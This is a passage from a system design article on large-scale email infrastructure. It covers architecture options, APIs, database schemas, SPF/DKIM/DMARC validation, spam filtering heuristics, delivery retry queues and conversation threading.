- Peak messages per second: 20B / 86400 × 3 (peak multiplier) = ~700K msgs/sec inbound

**Storage:**

- Average message size: 75KB (body + headers, excluding attachments)
- Average attachment size: 500KB (only 20% of messages have attachments)
- Daily message storage: 20B × 75KB = 1.5PB/day
- Daily attachment storage: 20B × 0.2 × 500KB = 2PB/day
- 15-year retention: ~20EB (with compression, ~5EB)

**Search index:**

- Index size: ~20% of message storage (text extraction)
- Daily index growth: ~300TB

## Design Paths

### Path A: Monolithic MTA (Traditional)

**Best when:**

- Smaller scale (< 1M mailboxes)
- On-premises deployment
- Simpler operations preferred
- Standard email features sufficient

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Single MTA handles sending, receiving, storage
- File-based storage (Maildir or mbox format)
- Local spam filtering with SpamAssassin
- IMAP server (Dovecot) for client access

**Trade-offs:**

- ✅ Simple deployment and operations
- ✅ Mature, well-understood stack
- ✅ Low infrastructure cost
- ❌ Vertical scaling limits (~100K mailboxes per server)
- ❌ No built-in redundancy
- ❌ Limited search capabilities
- ❌ Manual spam rule updates

**Real-world example:** Traditional enterprise mail servers, small hosting providers, self-hosted mail (Mail-in-a-Box, Mailcow).

### Path B: Microservices with Shared Storage (Cloud-Native)

**Best when:**

- Large scale (10M+ mailboxes)
- Cloud deployment
- Need for advanced features (smart compose, nudges)
- Global distribution required

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- Separate services for ingestion, storage, search, sending
- Distributed database for messages (Cassandra, Bigtable)
- Dedicated search cluster (Elasticsearch)
- Object storage for attachments
- ML-based spam filtering

**Trade-offs:**

- ✅ Horizontal scaling to billions of mailboxes
- ✅ Independent service scaling
- ✅ Advanced ML features possible
- ✅ Multi-region deployment
- ❌ Complex operations
- ❌ Higher infrastructure cost
- ❌ Eventual consistency challenges

**Real-world example:** Gmail (Bigtable + custom indexing), Outlook.com (Exchange Online + Azure), Fastmail (custom Cyrus-derived stack).

### Path C: Hybrid with ESP Integration

**Best when:**

- Need transactional + marketing email
- Deliverability is critical concern
- Limited email infrastructure expertise
- Variable sending volumes

**Architecture:**

![Diagram](./diagram-3.svg)

**Key characteristics:**

- Outbound via ESP (managed deliverability)
- Inbound via webhooks or forwarding
- ESP handles reputation, authentication, compliance
- Application focuses on business logic

**Trade-offs:**

- ✅ Managed deliverability and reputation
- ✅ Built-in analytics and tracking
- ✅ No MTA operations burden
- ✅ Elastic scaling
- ❌ Per-message cost at scale
- ❌ Less control over delivery timing
- ❌ Vendor lock-in concerns
- ❌ Limited for receiving mail

**Real-world example:** SaaS applications using SendGrid/Mailgun for transactional email, marketing platforms using dedicated ESPs.

### Path Comparison

| Factor                 | Monolithic          | Microservices      | Hybrid/ESP |
| ---------------------- | ------------------- | ------------------ | ---------- |
| Scale                  | < 1M mailboxes      | Billions           | Variable   |
| Complexity             | Low                 | High               | Medium     |
| Cost at scale          | Lower               | Higher             | Highest    |
| Deliverability control | Full                | Full               | Delegated  |
| Feature velocity       | Slow                | Fast               | Medium     |
| Ops burden             | Medium              | High               | Low        |
| Examples               | Enterprise Exchange | Gmail, Outlook.com | SaaS apps  |

### This Article's Focus

This article focuses on **Path B (Microservices)** because:

1. Represents architecture of major email providers (Gmail, Outlook)
2. Demonstrates scale challenges unique to email (spam, threading, search)
3. Covers both sending and receiving infrastructure
4. Addresses deliverability, authentication, and compliance concerns

## High-Level Design

### Inbound Mail Flow

When an external server sends mail to your domain:

![Diagram](./diagram-4.svg)

**MX Server responsibilities:**

1. **Connection handling**: Accept SMTP connections, enforce rate limits
2. **Recipient validation**: Verify mailbox exists before accepting
3. **Authentication checks**: SPF, DKIM, DMARC validation
4. **Spam scoring**: Pass to spam filter, act on classification
5. **Message queuing**: Hand off to storage layer

**Why accept-then-filter (not reject during SMTP)?**

Rejecting spam during the SMTP transaction (5xx response) causes the sender's MTA to generate a bounce. Spammers use forged From addresses, so bounces go to innocent parties (backscatter). Accepting and silently filtering avoids this.

### Outbound Mail Flow

When a user sends an email:

![Diagram](./diagram-5.svg)

**Outbound MTA responsibilities:**

1. **DKIM signing**: Cryptographically sign message for authentication
2. **MX resolution**: Look up recipient mail servers
3. **Connection pooling**: Reuse connections to frequent destinations
4. **Retry management**: Exponential backoff for temporary failures
5. **Bounce handling**: Process permanent failures, notify sender

### Mailbox Service

Handles message storage, retrieval, and organization:

**Key operations:**

| Operation     | Description            | Access Pattern                   |
| ------------- | ---------------------- | -------------------------------- |
| List messages | Get messages in folder | Range query by folder + date     |
| Get message   | Retrieve full message  | Point lookup by message_id       |
| Move/label    | Organize messages      | Update metadata                  |
| Delete        | Remove message         | Soft delete (trash), hard delete |
| Search        | Full-text query        | Search index query               |
| Sync          | IMAP/API delta sync    | Cursor-based pagination          |

**State per message:**

```typescript
interface EmailMessage {
  messageId: string // Globally unique (RFC 5322 Message-ID)
  internalId: string // System-assigned UUID
  mailboxId: string // Owner's mailbox
  threadId: string // Conversation grouping

  // Headers (denormalized for queries)
  from: EmailAddress
  to: EmailAddress[]
  cc: EmailAddress[]
  subject: string
  date: Date // From Date header
  receivedAt: Date // Server receive time

  // Threading headers
  inReplyTo?: string // Message-ID of parent
  references: string[] // Full ancestor chain

  // Content
  bodyText?: string // Plain text version
  bodyHtml?: string // HTML version
  snippet: string // First 200 chars for preview

  // Organization
  labels: string[] // User labels (INBOX, SENT, custom)
  isRead: boolean
  isStarred: boolean

  // Metadata
  sizeBytes: number
  hasAttachments: boolean
  attachments: AttachmentRef[]

  // Spam/security
  spamScore: number
  authenticationResults: AuthResult
}

interface AttachmentRef {
  attachmentId: string
  filename: string
  contentType: string
  sizeBytes: number
  storageUrl: string // S3/GCS URL
}
```

### Search Service

Full-text search across all message content:

**Index structure:**

```typescript
interface SearchDocument {
  messageId: string
  mailboxId: string // Partition key for isolation
  threadId: string

  // Searchable fields
  from: string // Tokenized email + name
  to: string[]
  cc: string[]
  subject: string // Tokenized
  body: string // Full-text, tokenized
  attachmentNames: string[]

  // Filterable fields
  labels: string[]
  date: Date
  hasAttachment: boolean
  isRead: boolean
  isStarred: boolean

  // Spam fields
  spamScore: number
}
```

**Query capabilities:**

- Full-text: `"quarterly report"` (phrase match)
- Field-specific: `from:alice@example.com`
- Boolean: `from:alice AND has:attachment`
- Date range: `after:2024/01/01 before:2024/06/01`
- Labels: `label:work -label:newsletters`

### Threading Service

Groups related messages into conversations:

**Algorithm (priority order):**

1. **References header**: RFC 5322 specifies References contains Message-IDs of all ancestors
2. **In-Reply-To header**: Direct parent Message-ID
3. **Subject matching**: Same subject (ignoring Re:/Fwd: prefixes) within time window
4. **Participant overlap**: Same sender/recipients, similar timing

**Threading data model:**

```typescript
interface Thread {
  threadId: string
  mailboxId: string

  // Aggregated from messages
  subject: string // From most recent message
  snippet: string // From most recent message
  participants: EmailAddress[] // Union of all From/To/Cc

  // Message list
  messageIds: string[] // Ordered by date
  messageCount: number

  // Thread-level flags
  hasUnread: boolean
  isStarred: boolean // Any message starred
  labels: string[] // Union of all labels

  // Timestamps
  oldestMessageDate: Date
  newestMessageDate: Date
}
```

**Edge cases:**

- **Orphaned replies**: Message references unknown Message-ID → create new thread, merge if parent arrives
- **Subject collision**: Different conversations with same subject → use timing + participants to disambiguate
- **Long threads**: Threads with 100+ messages → paginate message list

## API Design

### REST API

#### List Messages

**Endpoint:** `GET /api/v1/mailboxes/{mailboxId}/messages`

**Query parameters:**

| Parameter     | Type     | Description                       |
| ------------- | -------- | --------------------------------- |
| `labelIds`    | string[] | Filter by labels (default: INBOX) |
| `q`           | string   | Search query                      |
| `maxResults`  | int      | Page size (default: 50, max: 500) |
| `pageToken`   | string   | Cursor for pagination             |
| `includeSpam` | bool     | Include spam folder               |

**Response (200 OK):**

```json
{
  "messages": [
    {
      "id": "msg_abc123",
      "threadId": "thread_xyz789",
      "labelIds": ["INBOX", "IMPORTANT"],
      "snippet": "Hi team, please review the Q4 report...",
      "from": {
        "email": "alice@example.com",
        "name": "Alice Smith"
      },
      "to": [{ "email": "bob@example.com", "name": "Bob Jones" }],
      "subject": "Q4 Report Review",
      "date": "2024-12-15T10:30:00Z",
      "isRead": false,
      "isStarred": false,
      "hasAttachments": true,
      "sizeBytes": 125000
    }
  ],
  "nextPageToken": "cursor_def456",
  "resultSizeEstimate": 1250
}
```

#### Get Full Message

**Endpoint:** `GET /api/v1/messages/{messageId}`

**Query parameters:**

| Parameter | Type | Description                          |
| --------- | ---- | ------------------------------------ |
| `format`  | enum | `minimal`, `metadata`, `full`, `raw` |

**Response (200 OK, format=full):**

```json
{
  "id": "msg_abc123",
  "threadId": "thread_xyz789",
  "labelIds": ["INBOX", "IMPORTANT"],
  "headers": {
    "from": "Alice Smith <alice@example.com>",
    "to": "Bob Jones <bob@example.com>",
    "subject": "Q4 Report Review",
    "date": "Sun, 15 Dec 2024 10:30:00 -0800",
    "message-id": "<unique-id@example.com>",
    "in-reply-to": "<parent-id@example.com>",
    "references": "<grandparent@example.com> <parent-id@example.com>"
  },
  "body": {
    "text": "Hi team,\n\nPlease review the attached Q4 report...",
    "html": "<html><body><p>Hi team,</p>..."
  },
  "attachments": [
    {
      "id": "att_file123",
      "filename": "Q4-Report.pdf",
      "mimeType": "application/pdf",
      "size": 2500000
    }
  ],
  "authentication": {
    "spf": "pass",
    "dkim": "pass",
    "dmarc": "pass"
  }
}
```

#### Send Message

**Endpoint:** `POST /api/v1/messages/send`

**Request:**

```json
{
  "to": [{ "email": "bob@example.com", "name": "Bob Jones" }],
  "cc": [],
  "bcc": [],
  "subject": "Project Update",
  "body": {
    "text": "Hi Bob,\n\nHere's the update you requested...",
    "html": "<p>Hi Bob,</p><p>Here's the update you requested...</p>"
  },
  "attachments": [
    {
      "filename": "update.pdf",
      "mimeType": "application/pdf",
      "content": "base64-encoded-content"
    }
  ],
  "replyTo": "msg_parent123",
  "scheduledAt": null
}
```

**Response (202 Accepted):**

```json
{
  "id": "msg_new789",
  "threadId": "thread_xyz789",
  "labelIds": ["SENT"],
  "status": "queued"
}
```

#### Search Messages

**Endpoint:** `GET /api/v1/mailboxes/{mailboxId}/messages?q={query}`

**Query examples:**

- `from:alice@example.com` - From specific sender
- `"quarterly report"` - Phrase match
- `has:attachment larger:5M` - With attachment > 5MB
- `after:2024/01/01 before:2024/06/30` - Date range
- `in:inbox is:unread` - Inbox, unread only

**Response:** Same format as List Messages.

#### Download Attachment

**Endpoint:** `GET /api/v1/messages/{messageId}/attachments/{attachmentId}`

**Response:** Redirects to signed URL (S3/GCS presigned URL, 15-minute expiry).

### Error Responses

| Code | Error                  | When                          |
| ---- | ---------------------- | ----------------------------- |
| 400  | `INVALID_REQUEST`      | Malformed request body        |
| 401  | `UNAUTHORIZED`         | Invalid or expired token      |
| 403  | `FORBIDDEN`            | No access to mailbox          |
| 404  | `NOT_FOUND`            | Message/mailbox doesn't exist |
| 413  | `ATTACHMENT_TOO_LARGE` | Attachment exceeds 25MB limit |
| 429  | `RATE_LIMITED`         | Too many requests             |
| 503  | `SERVICE_UNAVAILABLE`  | Temporary outage              |

**Rate limits:**

| Operation    | Limit          | Window     |
| ------------ | -------------- | ---------- |
| Send         | 500 messages   | per day    |
| Send (paid)  | 2,000 messages | per day    |
| API requests | 1,000 requests | per minute |
| Search       | 100 queries    | per minute |

### IMAP Protocol Support

For desktop client compatibility, expose standard IMAP (RFC 3501):

**Supported commands:**

| Command   | Description                                  |
| --------- | -------------------------------------------- |
| `LOGIN`   | Authenticate with username/password or OAuth |
| `SELECT`  | Open mailbox/folder                          |
| `SEARCH`  | Server-side search                           |
| `FETCH`   | Retrieve message(s)                          |
| `STORE`   | Update flags (read, starred, deleted)        |
| `COPY`    | Copy to another folder                       |
| `EXPUNGE` | Permanently delete                           |
| `IDLE`    | Push notifications (RFC 2177)                |

**IMAP-to-API mapping:**

- IMAP folder → API label
- IMAP UID → API message ID
- IMAP flags → API isRead, isStarred, labels

## Data Modeling

### Message Storage (Cassandra)

**Table design for time-series mailbox access:**

```sql
-- Messages by mailbox and date (primary access pattern)
CREATE TABLE messages_by_mailbox (
    mailbox_id UUID,
    label_id TEXT,
    received_at TIMESTAMP,
    message_id UUID,
    thread_id UUID,
    from_email TEXT,
    from_name TEXT,
    subject TEXT,
    snippet TEXT,
    is_read BOOLEAN,
    is_starred BOOLEAN,
    has_attachments BOOLEAN,
    size_bytes INT,
    PRIMARY KEY ((mailbox_id, label_id), received_at, message_id)
) WITH CLUSTERING ORDER BY (received_at DESC, message_id ASC);

-- Full message content (point lookup)
CREATE TABLE messages (
    message_id UUID PRIMARY KEY,
    mailbox_id UUID,
    thread_id UUID,
    raw_headers TEXT,
    body_text TEXT,
    body_html TEXT,
    attachments LIST<FROZEN<attachment>>,
    authentication_results MAP<TEXT, TEXT>,
    spam_score FLOAT,
    created_at TIMESTAMP
);

-- Thread aggregation
CREATE TABLE threads_by_mailbox (
    mailbox_id UUID,
    label_id TEXT,
    newest_message_at TIMESTAMP,
    thread_id UUID,
    subject TEXT,
    snippet TEXT,
    message_count INT,
    participant_emails SET<TEXT>,
    has_unread BOOLEAN,
    PRIMARY KEY ((mailbox_id, label_id), newest_message_at, thread_id)
) WITH CLUSTERING ORDER BY (newest_message_at DESC, thread_id ASC);
```

**Why Cassandra:**

- Time-series optimized (messages ordered by date)
- Partition per mailbox+label enables efficient folder queries
- Linear horizontal scaling
- Tunable consistency (eventual OK for reads, quorum for writes)

**Partition sizing:**

- Target: < 100MB per partition
- Heavy mailboxes: Partition by (mailbox_id, label_id, month) to bound growth
- Typical mailbox: 10K messages × 1KB metadata = 10MB per label partition

### User and Label Metadata (PostgreSQL)

```sql
CREATE TABLE users (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    email VARCHAR(255) UNIQUE NOT NULL,
    display_name VARCHAR(100),
    password_hash VARCHAR(255),
    created_at TIMESTAMPTZ DEFAULT NOW(),
    last_login_at TIMESTAMPTZ,
    settings JSONB DEFAULT '{}'
);

CREATE TABLE mailboxes (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id UUID REFERENCES users(id) ON DELETE CASCADE,
    email_address VARCHAR(255) UNIQUE NOT NULL,
    storage_quota_bytes BIGINT DEFAULT 15000000000,  -- 15GB default
    storage_used_bytes BIGINT DEFAULT 0,
    message_count INT DEFAULT 0,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE TABLE labels (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    mailbox_id UUID REFERENCES mailboxes(id) ON DELETE CASCADE,
    name VARCHAR(100) NOT NULL,
    type VARCHAR(20) DEFAULT 'user',  -- 'system' or 'user'
    color VARCHAR(7),                  -- Hex color for UI
    message_count INT DEFAULT 0,
    unread_count INT DEFAULT 0,
    UNIQUE(mailbox_id, name)
);

-- System labels created per mailbox: INBOX, SENT, DRAFTS, SPAM, TRASH, ALL
CREATE INDEX idx_labels_mailbox ON labels(mailbox_id);
```

### Attachment Storage (S3/GCS)

**Storage path convention:**

```
s3://email-attachments/{mailbox_id}/{year}/{month}/{message_id}/{attachment_id}/{filename}
```

**Metadata in database:**

```sql
CREATE TABLE attachments (
    id UUID PRIMARY KEY,
    message_id UUID NOT NULL,
    filename VARCHAR(255) NOT NULL,
    content_type VARCHAR(100),
    size_bytes BIGINT,
    storage_bucket VARCHAR(100),
    storage_key TEXT,
    checksum_sha256 VARCHAR(64),
    scanned_at TIMESTAMPTZ,
    scan_result VARCHAR(20)  -- 'clean', 'malware', 'pending'
);
```

**Lifecycle rules:**

- Trash attachments: Delete after 30 days
- Spam attachments: Delete after 7 days
- Regular attachments: Keep until message deleted

### Search Index (Elasticsearch)

**Index mapping:**

```json
{
  "mappings": {
    "properties": {
      "message_id": { "type": "keyword" },
      "mailbox_id": { "type": "keyword" },
      "thread_id": { "type": "keyword" },
      "from_email": { "type": "keyword" },
      "from_name": { "type": "text" },
      "to_emails": { "type": "keyword" },
      "to_names": { "type": "text" },
      "cc_emails": { "type": "keyword" },
      "subject": {
        "type": "text",
        "analyzer": "email_analyzer"
      },
      "body": {
        "type": "text",
        "analyzer": "email_analyzer"
      },
      "attachment_names": { "type": "text" },
      "labels": { "type": "keyword" },
      "date": { "type": "date" },
      "size_bytes": { "type": "long" },
      "has_attachment": { "type": "boolean" },
      "is_read": { "type": "boolean" },
      "is_starred": { "type": "boolean" }
    }
  },
  "settings": {
    "analysis": {
      "analyzer": {
        "email_analyzer": {
          "type": "custom",
          "tokenizer": "standard",
          "filter": ["lowercase", "email_domain_filter"]
        }
      }
    }
  }
}
```

**Index per mailbox:**

- Shard by mailbox_id for query isolation
- Typical sizing: 1 shard per 10M messages
- Heavy users: Dedicated index with multiple shards

### Database Selection Matrix

| Data Type             | Store         | Rationale                                |
| --------------------- | ------------- | ---------------------------------------- |
| User profiles, labels | PostgreSQL    | ACID, relational queries, moderate scale |
| Message metadata      | Cassandra     | Time-series access, horizontal scaling   |
| Message bodies        | Cassandra     | Co-located with metadata                 |
| Attachments           | S3/GCS        | Object storage, CDN-compatible           |
| Search index          | Elasticsearch | Full-text search, aggregations           |
| Session cache         | Redis         | Sub-ms latency, TTL support              |
| Rate limiting         | Redis         | Atomic counters, sliding windows         |
| Delivery queue        | Kafka         | Reliable async, retry support            |

## Low-Level Design

### Email Authentication Pipeline

#### SPF Validation

Sender Policy Framework (RFC 7208) validates sending server authorization:

```typescript collapse={1-8}
interface SPFResult {
  result: "pass" | "fail" | "softfail" | "neutral" | "none" | "temperror" | "permerror"
  domain: string
  clientIp: string
  explanation?: string
}

class SPFValidator {
  async validate(senderDomain: string, clientIp: string): Promise<SPFResult> {
    // 1. Query TXT record for SPF policy
    const spfRecord = await this.dns.queryTXT(`${senderDomain}`)
    // Example: "v=spf1 include:_spf.google.com ~all"

    if (!spfRecord || !spfRecord.startsWith("v=spf1")) {
      return { result: "none", domain: senderDomain, clientIp }
    }

    // 2. Parse and evaluate SPF mechanisms
    const mechanisms = this.parseSPF(spfRecord)

    for (const mechanism of mechanisms) {
      const match = await this.evaluateMechanism(mechanism, clientIp, senderDomain)
      if (match) {
        return {
          result: this.qualifierToResult(mechanism.qualifier),
          domain: senderDomain,
          clientIp,
        }
      }
    }

    // 3. Default result if no mechanism matches
    return { result: "neutral", domain: senderDomain, clientIp }
  }

  private qualifierToResult(qualifier: string): SPFResult["result"] {
    switch (qualifier) {
      case "+":
        return "pass"
      case "-":
        return "fail"
      case "~":
        return "softfail"
      case "?":
        return "neutral"
      default:
        return "pass"
    }
  }
}
```

**SPF limitations:**

- Only validates envelope sender (MAIL FROM), not header From
- Breaks on forwarding (forwarding server IP not authorized)
- 10 DNS lookup limit to prevent amplification attacks

#### DKIM Verification

DomainKeys Identified Mail (RFC 6376) validates message integrity:

```typescript collapse={1-12}
interface DKIMResult {
  result: "pass" | "fail" | "neutral" | "temperror" | "permerror"
  domain: string
  selector: string
  headerFields: string[]
}

class DKIMVerifier {
  async verify(message: RawEmail): Promise<DKIMResult> {
    // 1. Extract DKIM-Signature header
    const signature = this.extractDKIMSignature(message)
    if (!signature) {
      return { result: "neutral", domain: "", selector: "", headerFields: [] }
    }

    // DKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=selector1;
    //   h=from:to:subject:date; bh=base64-body-hash; b=base64-signature

    // 2. Fetch public key from DNS
    const publicKey = await this.dns.queryTXT(`${signature.selector}._domainkey.${signature.domain}`)

    // 3. Verify body hash
    const bodyHash = this.computeBodyHash(message.body, signature.canonicalization.body, signature.algorithm)

    if (bodyHash !== signature.bodyHash) {
      return {
        result: "fail",
        domain: signature.domain,
        selector: signature.selector,
        headerFields: signature.headers,
      }
    }

    // 4. Verify header signature
    const headerData = this.canonicalizeHeaders(message.headers, signature.headers, signature.canonicalization.header)

    const valid = this.verifySignature(headerData, signature.signature, publicKey, signature.algorithm)

    return {
      result: valid ? "pass" : "fail",
      domain: signature.domain,
      selector: signature.selector,
      headerFields: signature.headers,
    }
  }
}
```

**DKIM key considerations:**

- RSA 2048-bit minimum (1024-bit deprecated)
- Selector rotation: Publish new key, sign with new selector, retire old
- Header field selection: Always include From, To, Subject, Date, Message-ID

#### DMARC Policy Enforcement

Domain-based Message Authentication, Reporting, and Conformance (RFC 7489):

```typescript collapse={1-10}
interface DMARCResult {
  result: "pass" | "fail" | "none"
  policy: "none" | "quarantine" | "reject"
  alignment: {
    spf: boolean
    dkim: boolean
  }
  domain: string
}

class DMARCEvaluator {
  async evaluate(headerFrom: string, spfResult: SPFResult, dkimResult: DKIMResult): Promise<DMARCResult> {
    const fromDomain = this.extractDomain(headerFrom)

    // 1. Query DMARC policy
    const dmarcRecord = await this.dns.queryTXT(`_dmarc.${fromDomain}`)
    // Example: "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"

    if (!dmarcRecord) {
      return {
        result: "none",
        policy: "none",
        alignment: { spf: false, dkim: false },
        domain: fromDomain,
      }
    }

    const policy = this.parseDMARC(dmarcRecord)

    // 2. Check alignment (domain in From matches authenticated domain)
    const spfAligned = spfResult.result === "pass" && this.domainAligns(fromDomain, spfResult.domain, policy.aspf)

    const dkimAligned = dkimResult.result === "pass" && this.domainAligns(fromDomain, dkimResult.domain, policy.adkim)

    // 3. DMARC passes if either SPF or DKIM is aligned
    const passes = spfAligned || dkimAligned

    return {
      result: passes ? "pass" : "fail",
      policy: policy.p,
      alignment: { spf: spfAligned, dkim: dkimAligned },
      domain: fromDomain,
    }
  }

  private domainAligns(
    fromDomain: string,
    authDomain: string,
    mode: "r" | "s", // relaxed or strict
  ): boolean {
    if (mode === "s") {
      return fromDomain === authDomain
    }
    // Relaxed: organizational domain must match
    return this.getOrgDomain(fromDomain) === this.getOrgDomain(authDomain)
  }
}
```

**DMARC policy actions:**

| Policy         | Action                            |
| -------------- | --------------------------------- |
| `p=none`       | Monitor only, no enforcement      |
| `p=quarantine` | Deliver to spam folder            |
| `p=reject`     | Reject at SMTP level (or discard) |

### Spam Filtering Pipeline

#### Multi-Stage Classification

![Diagram](./diagram-6.svg)

#### Naive Bayes Classifier

Core spam detection algorithm:

```typescript collapse={1-15}
class NaiveBayesSpamFilter {
  private spamWordCounts: Map<string, number> = new Map()
  private hamWordCounts: Map<string, number> = new Map()
  private totalSpam: number = 0
  private totalHam: number = 0

  // Training: update counts from labeled messages
  train(message: string, isSpam: boolean): void {
    const tokens = this.tokenize(message)
    const counts = isSpam ? this.spamWordCounts : this.hamWordCounts

    for (const token of tokens) {
      counts.set(token, (counts.get(token) || 0) + 1)
    }

    if (isSpam) this.totalSpam++
    else this.totalHam++
  }

  // Classification: compute P(spam|message)
  classify(message: string): { isSpam: boolean; score: number } {
    const tokens = this.tokenize(message)

    // Prior probabilities
    const pSpam = this.totalSpam / (this.totalSpam + this.totalHam)
    const pHam = 1 - pSpam

    // Log probabilities to avoid underflow
    let logPSpamGivenMessage = Math.log(pSpam)
    let logPHamGivenMessage = Math.log(pHam)

    for (const token of tokens) {
      // P(token|spam) with Laplace smoothing
      const spamCount = this.spamWordCounts.get(token) || 0
      const hamCount = this.hamWordCounts.get(token) || 0

      const pTokenGivenSpam = (spamCount + 1) / (this.totalSpam + 2)
      const pTokenGivenHam = (hamCount + 1) / (this.totalHam + 2)

      logPSpamGivenMessage += Math.log(pTokenGivenSpam)
      logPHamGivenMessage += Math.log(pTokenGivenHam)
    }

    // Convert back to probability
    const maxLog = Math.max(logPSpamGivenMessage, logPHamGivenMessage)
    const pSpamNormalized = Math.exp(logPSpamGivenMessage - maxLog)
    const pHamNormalized = Math.exp(logPHamGivenMessage - maxLog)

    const score = pSpamNormalized / (pSpamNormalized + pHamNormalized)

    return {
      isSpam: score > 0.9, // High threshold to minimize false positives
      score,
    }
  }

  private tokenize(text: string): string[] {
    return text
      .toLowerCase()
      .split(/\W+/)
      .filter((token) => token.length > 2 && token.length < 20)
  }
}
```

**Why Naive Bayes works for spam:**

- Handles high-dimensional feature spaces (thousands of words) efficiently
- Trains incrementally (user feedback updates model)
- Achieves 99%+ accuracy despite "naive" independence assumption
- Computationally cheap (O(n) where n = tokens in message)

**Spammer countermeasures and responses:**

| Attack                                | Response                          |
| ------------------------------------- | --------------------------------- |
| Bayesian poisoning (inject ham words) | Weight tokens by information gain |
| Image-only spam                       | OCR text extraction               |
| Character substitution (V1agra)       | Normalization, character n-grams  |
| URL shorteners                        | Expand and analyze destination    |

#### Heuristic Rules (SpamAssassin-style)

```typescript collapse={1-8}
interface SpamRule {
  name: string
  score: number // Positive = spam indicator
  test: (message: ParsedEmail) => boolean
}

const SPAM_RULES: SpamRule[] = [
  {
    name: "SUBJ_ALL_CAPS",
    score: 1.5,
    test: (msg) => msg.subject === msg.subject.toUpperCase() && msg.subject.length > 10,
  },
  {
    name: "FROM_DISPLAY_MISMATCH",
    score: 2.0,
    test: (msg) => {
      // "PayPal <hacker@evil.com>" - display name doesn't match domain
      const displayDomain = msg.fromName?.match(/@?(\w+\.\w+)/)?.[1]
      const actualDomain = msg.from.split("@")[1]
      return displayDomain && displayDomain !== actualDomain
    },
  },
  {
    name: "MISSING_DATE",
    score: 1.0,
    test: (msg) => !msg.headers["date"],
  },
  {
    name: "FORGED_OUTLOOK_TAGS",
    score: 3.0,
    test: (msg) => {
      // Claims Outlook but missing X-MS headers
      const ua = msg.headers["x-mailer"] || ""
      return ua.includes("Outlook") && !msg.headers["x-ms-exchange-organization"]
    },
  },
  {
    name: "URI_MISMATCH",
    score: 2.5,
    test: (msg) => {
      // Link text says paypal.com but href goes elsewhere
      const links = extractLinks(msg.bodyHtml)
      return links.some((l) => l.text.includes("paypal.com") && !l.href.includes("paypal.com"))
    },
  },
]

function computeHeuristicScore(message: ParsedEmail): number {
  return SPAM_RULES.filter((rule) => rule.test(message)).reduce((sum, rule) => sum + rule.score, 0)
}
```

### Message Delivery Queue

#### Outbound Queue with Retry Logic

```typescript collapse={1-15}
interface QueuedMessage {
  messageId: string
  recipientDomain: string
  recipientEmail: string
  payload: Buffer // DKIM-signed message
  attempts: number
  nextAttemptAt: Date
  createdAt: Date
  expiresAt: Date // 5 days for bounce generation
}

class OutboundQueue {
  private readonly kafka: KafkaProducer

  async enqueue(message: OutboundMessage): Promise<void> {
    // Partition by recipient domain for connection pooling
    await this.kafka.send({
      topic: "outbound-mail",
      messages: [
        {
          key: message.recipientDomain,
          value: JSON.stringify({
            messageId: message.id,
            recipientDomain: message.recipientDomain,
            recipientEmail: message.recipient,
            payload: message.signedContent,
            attempts: 0,
            nextAttemptAt: new Date(),
            createdAt: new Date(),
            expiresAt: new Date(Date.now() + 5 * 24 * 60 * 60 * 1000),
          }),
        },
      ],
    })
  }
}

class DeliveryWorker {
  private readonly RETRY_DELAYS = [
    0, // Immediate
    5 * 60, // 5 minutes
    30 * 60, // 30 minutes
    2 * 60 * 60, // 2 hours
    8 * 60 * 60, // 8 hours
    24 * 60 * 60, // 24 hours
  ]

  async processMessage(queued: QueuedMessage): Promise<void> {
    try {
      const mxRecords = await this.dns.queryMX(queued.recipientDomain)
      const sortedMx = mxRecords.sort((a, b) => a.priority - b.priority)

      for (const mx of sortedMx) {
        try {
          await this.deliverToMx(mx.exchange, queued)
          await this.markDelivered(queued.messageId)
          return
        } catch (error) {
          if (this.isPermanentError(error)) {
            throw error // Don't try other MX servers
          }
          // Try next MX server
          continue
        }
      }

      throw new Error("All MX servers failed")
    } catch (error) {
      if (this.isPermanentError(error) || queued.attempts >= 6) {
        await this.generateBounce(queued, error)
        await this.markFailed(queued.messageId)
      } else {
        // Schedule retry
        const delay = this.RETRY_DELAYS[queued.attempts + 1] || this.RETRY_DELAYS[5]
        await this.scheduleRetry(queued, delay)
      }
    }
  }

  private isPermanentError(error: any): boolean {
    // 5xx errors are permanent (except 552 which can be transient)
    const code = error.responseCode
    return code >= 500 && code < 600 && code !== 552
  }
}
```

**Retry backoff schedule:**

| Attempt | Delay      | Cumulative |
| ------- | ---------- | ---------- |
| 1       | Immediate  | 0          |
| 2       | 5 minutes  | 5 min      |
| 3       | 30 minutes | 35 min     |
| 4       | 2 hours    | 2h 35m     |
| 5       | 8 hours    | 10h 35m    |
| 6       | 24 hours   | 34h 35m    |
| Bounce  | -          | ~5 days    |

### Threading Algorithm

```typescript collapse={1-12}
class ThreadingService {
  async assignThread(message: IncomingMessage): Promise<string> {
    // 1. Check References header (RFC 5322)
    if (message.references?.length > 0) {
      for (const ref of message.references.reverse()) {
        const existingThread = await this.findThreadByMessageId(ref)
        if (existingThread) {
          return existingThread.threadId
        }
      }
    }

    // 2. Check In-Reply-To header
    if (message.inReplyTo) {
      const parentThread = await this.findThreadByMessageId(message.inReplyTo)
      if (parentThread) {
        return parentThread.threadId
      }
    }

    // 3. Subject-based matching (fallback)
    const normalizedSubject = this.normalizeSubject(message.subject)
    const candidateThreads = await this.findThreadsBySubject(message.mailboxId, normalizedSubject, { withinDays: 30 })

    // 4. Filter by participant overlap
    const messageParticipants = new Set([message.from, ...message.to, ...message.cc])

    for (const thread of candidateThreads) {
      const overlap = thread.participants.filter((p) => messageParticipants.has(p)).length

      // Require at least 2 participants in common
      if (overlap >= 2) {
        return thread.threadId
      }
    }

    // 5. Create new thread
    return this.createThread(message)
  }

  private normalizeSubject(subject: string): string {
    // Remove Re:, Fwd:, Fw:, etc. prefixes
    return subject
      .replace(/^(re|fwd?|aw|sv|antw):\s*/gi, "")
      .trim()
      .toLowerCase()
  }
}
```

## Frontend Considerations

### Mailbox UI State Management

**Normalized store for efficient updates:**

```typescript collapse={1-12}
interface MailboxState {
  // Normalized entities
  messages: Record<string, MessageSummary>
  threads: Record<string, Thread>
  labels: Record<string, Label>

  // View state
  currentLabelId: string
  messageOrder: string[] // Thread IDs in current view
  selectedThreadIds: Set<string>

  // Pagination
  nextPageToken: string | null
